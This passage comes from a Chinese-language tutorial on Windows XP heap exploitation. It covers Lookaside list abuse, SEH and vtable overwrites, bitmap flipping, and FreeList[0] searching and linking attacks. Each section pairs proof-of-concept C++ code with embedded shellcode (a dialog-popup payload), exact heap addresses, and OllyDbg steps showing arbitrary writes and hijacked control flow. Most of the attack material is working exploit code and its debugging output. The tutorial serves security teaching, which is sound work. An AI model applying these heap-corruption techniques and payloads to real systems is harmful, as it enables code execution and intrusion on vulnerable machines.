​ 在堆溢出的基础上,使与可溢出堆块相邻的下一个堆块链入空表,再利用堆溢出将链入空表堆块的前项指针修改为函数跳转地址或虚表地址。构造好堆块后,在接下来快表第一次分配相应大小的堆块时会将被篡改堆头的堆块分配给用户使用,并将非法Flink地址作为堆头链入空表头结点,在快表第二次分配相应大小的堆块时,即可将指定地址及其后方空间作为堆块申请给用户使用,再对堆块进行赋值即可造成任意地址写任意数据的操作。该伪造的地址一般可以为敏感函数、虚表地址等以及上文所提到的该版本中的堆攻击重灾区:P.E.B结构及异常处理机制中的各种结构。

​ 如果控制 node->next 就控制了 Lookaside[n]-> next,进而当用户再次申请空间的时候系统就会将这个伪造的地址作为申请空间的起始地址返回给用户,用户一旦向该空间里写入数据就会留下溢出的隐患

2. 利用方式------攻击SEH

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <stdio.h>
#include <windows.h>
void main()
{
	char shellcode []=
	"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充跳转指令,跳过下面的填充指令执行弹出对话框代码
	"\x03\00\x03\x00\x5C\x01\x08\x99"//填充
	"\xE4\xFF\x12\x00"//用默认异常处理函数指针所在位置覆盖
        			  //覆盖CommitRoutine:"\x78\x05\x3a\x00"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//填充
	"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
	"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
	"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
	"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
	"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
	"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
	"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
	"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
	"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
	"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
	"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
	;
	HLOCAL h1,h2,h3;
	HANDLE hp;
	hp = HeapCreate(0,0,0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h2);
	memcpy(h1,shellcode,300);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	memcpy(h3,"\x90\x1E\x39\x00",4);
    //覆盖CommitRoutine:memcpy((char *)h3+4,"\x90\x1E\x39\x00",4);之后如果我们继续申请大内存,会触发CommitRoutine这个函数指针,而由于这个指针我们可控,所以可以导致执行任意代码
	//
	int zero=0;
	zero=1/zero;
	printf("%d",zero);

}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程,首先申请 3 块 16 字节的空间,然后将其释放到快表中,以便下次申请空间时可以从快表中分配

    本次实验中h1,h2,h3堆块地址为:0x003A1E90、0x003A1EA8 和 0x003A1EC0

  2. 通过计算发现只需要向 h1 中复制超过 28 个字节的字符就可以覆盖掉 h2 中指向下一个结点的指针,填充shellcode:

    c++ 复制代码
    charshellcode[]= 
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //填充
     "\x03\00\x03\x00\x00\x01\x08\x00" //直接拷贝块首数据
     "\xE4\xFF\x12\x00" //用默认异常处理函数指针所在位置覆盖
     ; 
  3. 在OllyDbg中继续单步执行,执行堆溢出的代码,查看堆块状态:此时已成功修改h3堆块的下一个结点的指针

  4. 再次申请 16 个字节空间,系统就会将 0x0012FFE4 写入Lookaside[3]处

  5. 再次申请16个字节空间,此时系统会将Lookaside[3]处的0x0012FFE4 返回给用户,继续单步运行程序直到 0x00401084 处,即再次申请空间结束时。通过 EAX 可以看出程序申请到的空间起始地址确实为 0x0012FFE4

  6. 此时向这个刚申请的空间里写入 shellcode 的起始地址就可以将0x0012FFE4处的异常处理函数处理程序改为shellcode起始地址了,为了方便,可将shellcode写入h1,此时只需将h1的地址0x003A1E90写入刚申请的空间中即可,继续运行,可见此时异常处理程序的地址已被更改

  7. 测试结果如下:

3. 利用Lookaside的链入卸下的性质覆盖虚函数表

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <stdio.h>
#include <windows.h>
class test {//定义一个类结构
public:
	test() {
		memcpy(m_test, "1111111111222222", 16);
	};
	virtual void testfunc() {//等下我们要覆盖的虚函数
		printf("aaaa\n");
	}
	char m_test[16];
};
int main() {
	HLOCAL hp;
	HLOCAL h1, h2, h3;
	hp = HeapCreate(0, 0x1000, 0);//新创建一个堆块
	//申请一样大小的三块,申请24.
    _asm int 3;
	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
	h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
	h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
	//将第一块内充满shellcode
	memcpy(h1, "AAAABBBBCCCCDDDDEEEEFFFFGGGG", 24);
	test *testt = new test();
	test *tp;
	memcpy(h3, testt, 24);//将创建的类的结构拷贝到第三个堆块中去
	//释放后将它们都会自动添加到lookaside链表中去。H3->h2->h1
	HeapFree(hp, 0, h1);
	HeapFree(hp, 0, h2);
	HeapFree(hp, 0, h3);
	//添加完后,其虚函数的地址被修改为h1的地址
	//下面调用其虚函数。
	tp = (test *)h3;
	tp->testfunc();//此时执行的是0000AAAABBBB这些填充的shellcode
	delete testt;
	HeapDestroy(hp);
	return 0;
}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程,首先申请 3 块 24 字节的空间,将h1堆块填充好shellcode,本实验中作为测试,随便写的shellcode

  2. 将创建的类的结构拷贝到第三个堆块中去

    虚表指针处存放了虚函数地址:

  3. 将三个堆块释放到快表中,此时Lookaside[4]->h3->h2->h1。添加完后,h3堆块中的类结构其虚表指针被覆盖为0x003A1EB0(h2->Flink的地址),当调用h3堆块所在类的虚函数时,自动寻找其虚表指针所在处,查表查找虚函数地址,找到0x003A1EB0处存放的0x003A1E90,将其作为虚函数地址。

    此时自动跳转到0x003A1E90处执行其中的代码

3.5.4 Bitmap Flipping Attack

1. 漏洞成因

空表位图

​ 空闲列表的空表位图,称为FreeListInUseBitmap,被用作在 FreeList中进行快速扫描。位于HEAP结构偏移0x158处

​ 位图中的每一位对应一个空闲的列表,如果在对应的列表中有任何的空闲块(经过FreeHeap释放的堆块), 这个位将会被设置。在位图中一共有 128 位(4 个双字节),与 128 个处理分配<1016 大小的空闲列表相对应。

位图搜索算法

​ 若快表分配失败,此时在空表中搜索,若此时FreeList[n]中没有链入的空闲块,此时在空表位图FreeListInUseBitmap中搜索,它通过搜索整个bitmap,然后找到一个置位,通过这个置位, 可以在这个列表中找到下一个最大的空闲块。从中切下合适的块进行分配。

​ 如果系统跑完这个位图还没有找到合适的块,它将试着从FreeList[0]中找到一块出来。

举例

​ 如果一个用户在堆中请求32字节的空间,在Lookaside[5]中没有相应的块, 并且FreeList[5]也是空的,,那么, 位图就被用作在预处理列表中来查找大于40字节的块(从FreeList[6]位图搜索),直到搜索到一个置位,将该处的空闲块分配给用户

利用空表位图进行攻击

​ FreeList有两个指针,FLink和Blink,如果这个表项是空的, 那么这两个指针会指向堆基址最开始的节点处,如下所示:

​ 可见FreeList[2]中的链表是空的,所以两个指针都指到了0x150188。 如果位图能被欺骗(将位图中对应的FreeList[2]位设为1),则认为FreeList[2]包含空闲块, 那么它就会返回它认为在 0x15088处有空闲块,如果用户提供的数据能够写入那个地址, 那么堆基址的元数据将会被覆盖掉, 将会导致代码执行

2. 利用方式

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <stdio.h>
#include <windows.h>
int main() {
	HLOCAL hp;
	HLOCAL h1, h2, h3, h4;
	DWORD bitmap_addr;
	hp = HeapCreate(0, 0x1000, 0x10000);//将创建的堆设为固定的大小,这样就没有lookaside 表了,我们重点关注的是 freelist 表,所以这里可以忽略 lookaside 表的影响
	printf("The base of the heap is %08x\n", hp);
	
    _asm int 3;
    //修改 bitmap 表
	bitmap_addr = (DWORD)hp + 0x158 + 4;//0x158 为 bitmap 表的偏移, +4 为下一个 32 位
	__asm {
		mov edi, bitmap_addr
		inc[edi]
	}
	//因为 bitmap[32]被置为 1,所以请求只能从 bitmap[32]的地方取,此时会造成异常。
	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
	//在分配过程中会产生异常,因为分配的是一个 0x3a0278 处的块,这正好是freelist[32]的地址。如果将异常忽略。
	//最后成功分配的则是 freelist[n]上面设置的那个 bitmap 位的地址
	printf("The alloc heap chunk addr is %08x\n", h1);
	HeapDestroy(hp);
	return 0;
}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程,修改0x158处的空表位图,查看该处内存,此时bit 32已被置位

  2. 继续运行,申请16字节的堆块,由于空表位图搜索算法,此时FreeList[3]处没有空闲的堆块,所以从空表位图中搜索置位,此时找到FreeList[32]所在地址,即0x003A0278

    对应源码如下:

    继续运行,此时将FreeList[32]地址处内存作为堆块分配给用户

    对应源码如下:

    注意

    ​ 在分配过程中会产生异常,因为分配的是一个 0x3a0278 处的块,这正好是freelist[32]的地址。如果将异常忽略。最后成功分配的则是 freelist[n]上面设置的那个 bitmap 位的地址

3.5.5 FreeList[0]攻击------Searching

1. 漏洞成因

​ 该漏洞的产生是由于0号空表在进行遍历搜索合适堆块时,未对链表中堆块前项指针的合法性进行校验,导致在遍历时跳出0号空表,最终通过利用漏洞达到任意地址写任意数据的效果。

FreeList[0]搜索算法

​ 当开始在FreeList[0]中搜索请求的堆块时, 首先会确定FreeList[0]中最后一个 节点是不是足够大能满足这个请求。如果可以,则会从链表的开始搜索,否则将会分配更多的内存来满足请求。搜索算法将会遍历整个链表, 直到找到一个足够大能满足要求的块, 取下这个堆块, 并且把它返回给用户。

漏洞原理

​ 如果能够覆盖FreeList[0]中的一个入口的能够满足要求的块的FLink, 那么这个地址将会被返回。

举例

​ 如图,FreeList[0]包含两个结点,一个大小为0x80(此处的大小单位为8字节,即堆块的分配粒度),另一个大小为0xF80。

  1. 如果要求分配一个1032字节大小的区块(大小包括8字节的堆块头),搜索算法将会看最后一块最大的是否满足要求,然后开始从头遍历整个链表。

  2. 此时第一个结点没有足够大满足要求,所以FLink将会被跟随到地址为0x1536A0的块。因为这个块大小为0xF80, 它将会被分割,返回1024(1032-8)字节大小给用户使用,然后把剩下的块放回空表中去,剩下的 FreeList[0] 如下图:

  3. 在遍历0号空表中前将空表中堆块的堆头溢出,覆盖其前项指针为FakeFlink。此时,申请一个大于该堆块且小于0号空表中最大堆块大小的堆块。按照0号空表的搜索算法,在遍历过被溢出堆块后,会将伪造的FakeFlink作为下一个堆块的入口地址,比较其Size字段是否满足申请空间的大小

  4. 在Size字段条件满足后,该伪造堆块会进行Unlink操作,虽然会被Safe Unlink机制检测出来,但仍然会被分配给用户使用。由于会进行Safe Unlink检测,因此该堆块的Flink及Bilnk,即Fake_Flink和Fake_Flink+4应该是可读的

    FakeFlink指向堆块大小的限制

    ​ 为了使堆管理器将该FakeFlink地址作为堆块入口分配给用户使用,需要满足[Fake_Flink-8]的Size字段大于申请大小,并且为了不产生堆切割及其后续繁琐操作,应该控制该Size字段在申请堆块大小+8字节之内,即RequstSize ≤ Size ≤ RequestSize+8

2. 利用方式

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <stdio.h>
#include <windows.h>
int main() {
	HLOCAL hp1, hp2;
	HLOCAL h1, h2, h3, h4;
	char shellcode[] = "\x88\x06\xA3\x00";//00A20688,第二个堆的堆块的地址
	_asm int 3;
	hp1 = HeapCreate(0, 0x1000, 0x10000);//将创建的堆设为固定的大小,这样就没有lookaside 表了
	hp2 = HeapCreate(0, 0x1000, 0x10000);//将创建第二个堆,该堆中第一个堆块地址为0x00A20688

	printf(" 1 heap base %08x\n", hp1);
	printf(" 2 heap base %08x\n", hp2);

	//让第一个堆的 freelist[0]里有一个堆块。
	h1 = HeapAlloc(hp1, HEAP_ZERO_MEMORY, 0x400);//先分配这个堆块
	h2 = HeapAlloc(hp1, HEAP_ZERO_MEMORY, 8);//再分配 8 个字节大小的空间,为防止其与另外的堆块合并

	//分配一个在RequstSize ≤ Size ≤ RequestSize+8之间的堆块,再释放,此时该块已被链入第二个堆的FreeList[0]中
	h4 = HeapAlloc(hp2, HEAP_ZERO_MEMORY, 0x40A);
	HeapFree(hp2, 0, h4);

	HeapFree(hp1, 0, h1);//将第一个大块释放,这样它将会被链入 freelist[0]中

	memcpy(h1, shellcode, 4);//覆盖到 h1 块的 flink 指针,使其指向一个 hp2 的块。

	//现在的 freelist[0]->0x80->chunk,现在申请一个块,然后大于 0x80,所以开始从 chunk中割一块出来。
	//而实际上,这个 chunk 已经被覆盖掉了。开始从覆盖的 chunk 处分割一个出来。
	h3 = HeapAlloc(hp1, HEAP_ZERO_MEMORY, 0x408);//这里会进入一个死循环。
	printf(" the alloc addr is %08x\n", h3);
	HeapDestroy(hp1);
	HeapDestroy(hp2);
	return 0;
}
实验过程
  1. 直接运行程序,遇到断点中断,使用OllyDbg附加到进程。单步执行,创建两个堆,查看两个堆的所在地址,第一个堆所在地址为0x00A20000,第2个堆所在地址为0x00A30000

  2. 继续执行,在第一个堆中申请大小为1032字节的堆块,可见该堆块用户区地址为0x00A20688,

  3. 继续运行,申请第二个堆块,其用户区地址为0x00A20A90

  4. 继续运行,释放第一个大块,释放之后该大块被链入FreeList[0],此时可见FreeList[0].Flink为0x00A20688,即刚才申请的大块地址

  5. 查看第二个堆的FreeList[0],并没有空闲的块,只指向尾块,即0x00A30688

  6. 因为h1块已被释放,为空闲块,空闲块和占用块的HEAP_ENTRY不一样,空闲块的HEAP_ENTRY增加了双链表结点,即此时0x00A20688处已从用户区转为双链表结点的Flink

  7. 虽然h1堆块被释放,但是第一次HeapAlloc申请的h1地址没有变,仍为0x00A2068,内容为该堆块的Flink,此时可将该堆块的Flink改为第二个堆的尾块地址"\x88\x06\xA3\x00"

  8. 提出申请,请求分配0x408字节大小的堆块,此时会被Safe Unlink机制检测出来,此操作会进入死循环。可单步步入HeapAlloc函数中,可见0x003A0688将被分配给用户

3.5.6 FreeList[0]攻击------Linking

1. 漏洞成因

​ 在引入Safe Unlink机制使得Unlink操作变得困难后,研究人员们将目光投向了Unlink的逆过程Link。很快他们就发现了Link操作尚未添加保护机制检测堆块前项指针和后向指针的合法性,并在对指针进行赋值操作时能产生和DWORD SHOOT效果相似的漏洞。但是相较于DWORD SHOOT存在一定的局限性,该漏洞最终只能达到任意地址写4字节堆块地址的效果。

1)链表中发生插入操作的情况

​ ① 内存释放后 chunk 不再被使用时它会被重新链入链表

​ ② 当 chunk 的内存空间大于申请的空间时,剩余的空间会被建立成一个新的 chunk,链 入链表中

2)情况分析------第二种情况

​ ① 将 FreeList[0]上最后一个 chunk 的大小与申请空间的大小进行比较,如果 chunk 的 大小大于等于申请的空间,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)

​ ② 从 FreeList[0]的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后将 其从链表中拆卸下来(搜索恰巧合适的堆块进行分配)

​ ③ 分配好空间后如果 chunk 中还有剩余空间,剩余的空间会被建立成一个新 chunk,并 插入到链表中(堆块空间过剩则切分之)。

​ 第一步我们没有任何利用的机会。由于 Safe Unlink 的存在,如果去覆盖 chunk 的结构在第二步的时候就会被检测出来。但是即便 Safe Unlink 检测到 chunk 结构被破坏 ,它还是会允许后续的一些操作执行,例如重设 chunk 的大小。所以可以针对第三步进行堆溢出实验。

3)FreeList[0]重设 chunk 的具体过程

实验环境

环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)

实验代码

c++ 复制代码
#include<stdio.h> 
#include<windows.h> 
void main()
{
	HLOCAL h1;
	HANDLE hp;
	hp = HeapCreate(0, 0x1000, 0x10000);
	__asm int 3
	h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 0x10);
}

实验过程

  1. 编译好程序后,直接运行程序,由于有 int 3 指令的存在程序会自动中断,然后单击"调试" 按钮就可以启用 OllyDbg 来调试程序(前提是将 OllyDbg 设置为默认调试器)。待 OllyDbg 启 动之后,观察内存状态可以看到堆的起始地址为 0x003A0000(EAX 的值)

  2. FreeList[0]位于0x003A0178,在 0x003A0178 处可以看到唯一的 chunk 位于 0x003A0688。

  3. 此时 FreeList[0]头节点和 chunk 如图所示:

  4. 直接进入到将新 chunk 插入链表的过程。在 0x7C930FE3 的位置下设断点,这是修改 chunk 中下一 chunk 指针和上一 chunk 指针的开始。

  5. 设置好断点后,按 F9 键让程序运行,待程序中断后,可以看到如下汇编代码:

    assembly 复制代码
    7C930FE3    8D47 08         LEA EAX,DWORD PTR DS:[EDI+8]	;获取新 chunk 的 Flink 位置
    7C930FE6    8985 10FFFFFF   MOV DWORD PTR SS:[EBP-F0],EAX	
    7C930FEC    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]	;获取下一chunk 中的 Blink 的值
    7C930FEF    8995 08FFFFFF   MOV DWORD PTR SS:[EBP-F8],EDX
    7C930FF5    8908            MOV DWORD PTR DS:[EAX],ECX		;保存新 chunk 的 Flink
    7C930FF7    8950 04         MOV DWORD PTR DS:[EAX+4],EDX	;保存新 chunk 的 Blink
    7C930FFA    8902            MOV DWORD PTR DS:[EDX],EAX		;保存下一chunk中的Blink->Flink的Flink 
    7C930FFC    8941 04         MOV DWORD PTR DS:[ECX+4],EAX	;保存下一chunk中的Blink
  6. 新 chunk 插入链表的过程如图所示:

    注意

    1)图中为了更好地反映新 chunk 的插入过程,对部分步骤的先后顺序进行了调整, 因此会与前面介绍的汇编指令稍有区别。

    2)第 4 步之所以那么绕是因为旧 chunk 已经从 FreeList[0]中卸载

  7. 将这一过程总结为公式:

    c++ 复制代码
    新chunk->Flink = 旧chunk->Flink 
    新chunk->Blink = 旧chunk->Flink->Blink 
    旧chunk->Flink->Blink->Flink = 新chunk 
    旧chunk->Flink->Blink = 新chunk 
  8. 当程序执行完 0x7C930FFC 处的 MOV DWORD PTR DS:[EC X+4], EAX 后,整个插入过程的关键部分也就结束了,此时观察 FreeList[0]的链表结构会发现它已经发生改变,改变结果如图所示

4)漏洞利用

​ 将旧 chunk 的 Flink 和 Blink 指针都覆盖为其他地址。

​ 例如,将旧 chunk 的 Flink 指针覆盖为 0xAAAAAAAA, Blink 指针覆盖为 0xBBBBBBBB,套用前面归纳的公式,可以得出如下结果:

[0x003A06A0] = 0xAAAAAAAA
[0x003A06A0 + 4] = [0xAAAAAAAA + 4]
[[0xAAAAAAAA + 4]] = 0x003A06A0
[0xAAAAAAAA + 4] = 0x003A06A0

​ 这实际上是一个向任意地址写入固定值的漏洞(DWORD SHOOT)。

注意

​ 0xAAAAAAAA+4 必须指向可读可写的地址,而 0xAAAAAAAA+4 中 存放的地址必须指向可写的地址,否则会出现异常

2. 利用方式

实验环境
环境 环境设置
操作系统 Windows XP SP3(此方法在Windows XP SP2 -- Windows 2003均可实现,只是堆块地址有细微不同,需要自己调试)
编译器 VC 6.0++
编译选项 默认
编译版本 Release (工具栏右键->编译)
实验代码
c++ 复制代码
#include <stdio.h>
#include <windows.h>
void main()
{
	char shellcode[]=
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x10\x01\x10\x00\x99\x99\x99\x99"
		"\xEB\x06\x3A\x00\xEB\x06\x3A\x00"//覆盖 Flink 和 Blink 
		"\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		"\x11\x01\x10\x00\x99\x99\x99\x99"
		"\x8C\x06\x3A\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink
		"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
		"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
		"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
		"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
		"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
		"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
		"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
		"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
		"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
		"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
		"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
		;

	HLOCAL h1,h2;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3
		h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	memcpy(h1,shellcode,300);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	int zero=0;
	zero=1/zero;
	printf("%d",zero);
}
实验思路

大概步骤

1)首先 h1 向堆中申请 16 个字节的空间

2)由于此时堆刚刚初始化所以空间是从 FreeList[0]中申请的,从 FreeList[0]中拆卸下来 的 chunk 在分配好空间后会将剩余的空间新建一个 chunk 并插入到 FreeList[0]中,所以 h1 后面会跟着一个大空闲块

3)当向 h1 中复制超过 16 个字节空间时就会覆盖后面 chunk 的块首

4)Chunk 的块首被覆盖后,当 h2 申请空间时,程序就会从被破坏的 chunk 中分配空间, 并将剩余空间新建为一个 chunk 并插入到 FreeList[0]中

5)通过伪造 h2 申请空间前 chunk 的 Flink 和 Blink,实现在新 chunk 插入 FreeList[0]时将 新 chunk 的 Flink 起始地址写入到任意地址。因此通过控制 h2 申请空间前 chunk 的 Flink 和 Blink 值,可以将数据写入到异常处理函数指针所在位置

7)通过制造除 0 异常,让程序转入异常处理,进而劫持程序流程,让程序转入 shellcode 执行。

构造shellcode

​ 可以随便填充一些shellcode,查看堆块信息,方便后续计算。在OllyDbg中查看:

1)通过计算得知从h1地址处填充32个字节即可覆盖后面Chunk的块首

2)选择一些地址用来填充Flink和Blink,在此处选择0x003A06EB(EB 06为一个短跳转指令,可利用该短跳转指令跳过一些垃圾代码)

3)确定[Flink]和[Flink+4]的值。因为要覆盖程序的默认异常处理函数句柄,默认异常处理函数句柄位于 0x0012FFE4,所以如果让[Flink+4]=0x0012FFE4 就可以在 chunk 插入链表的时候将数据写入 0x0012FFE4 的位置了。而[Flink] 没有什么作用,所以随便填充一些内容即可,当然为了防止在某个没有分析到的地方使用这个地址,在这不妨设置为 0x003A068C(一个可写地址,防止发生异常)

构造如下的shellcode:

c++ 复制代码
charshellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x2D\x01\x03\x00\x00\x10\x00\x00" 
"\xEB\x06\x3A\x00\xEB\x06\x3A\x00"//覆盖原始 chunk 中的 Flink 和 Blink 
"\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x11\x01\x10\x00\x99\x99\x99\x99" 
"\x8C\x06\x3A\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink,即[Flink]和[Flink+4]
; 

​ 可见 h2 申请空间的 Flink 位于0x003A06B8 的位置,所以当 h2 申请空间后就会发生以下事情:

c++ 复制代码
[0x003A06B8] = 0x003A06EB 
[0x003A06B8 + 4] = 0x0012FFE4 
[0x0012FFE4] = 0x003A06B8 
[0x003A06EB + 4] = 0x003A06B8 
实验过程
  1. 通过 INT 3 指令中断程序,等 OllyDbg 启动好后在 0x00401049 处,即 h2 申请空间调 用 HeapAlloc 函数时下断点。然后按 F9 键让程序运行,待程序中断后再在 0x7C930FE3下断点, 继续按 F8 键单步运行程序直到 0x7C930FFF处,即所有 Flink 和 Blink 调整完成后,此时查看堆块信息,发现和前面分析一致

  2. 此时默认异常处理函数的句柄已经被修改为 0x003A06B8。继续构造shellcode,布置一个可以弹出对话框的 shellcode,本次实验将弹出对话框的机器码放置在 0x003A06F3 的位置,即伪造的 Flink 和 Blink 后面,并在前面的 0x90 填充区域放置短跳转指令来跳过伪造的 Flink 和 Blink,防止它们对程序执行产生影响

    shellcode最终构造如下:

    c++ 复制代码
    char shellcode[]=
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x10\x01\x10\x00\x99\x99\x99\x99"
    	"\xEB\x06\x3A\x00\xEB\x06\x3A\x00"//覆盖 Flink 和 Blink 
    	"\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\xEB\x31\x90\x90\x90\x90\x90\x90"//跳转指令,跳过下面的垃圾代码
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    	"\x11\x01\x10\x00\x99\x99\x99\x99"
    	"\x8C\x06\x3A\x00\xE4\xFF\x12\x00"//伪造的 Flink 和 Blink
    	"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    	"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    	"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    	"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    	"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    	"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    	"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    	"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    	"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    	"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    	"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
    	;
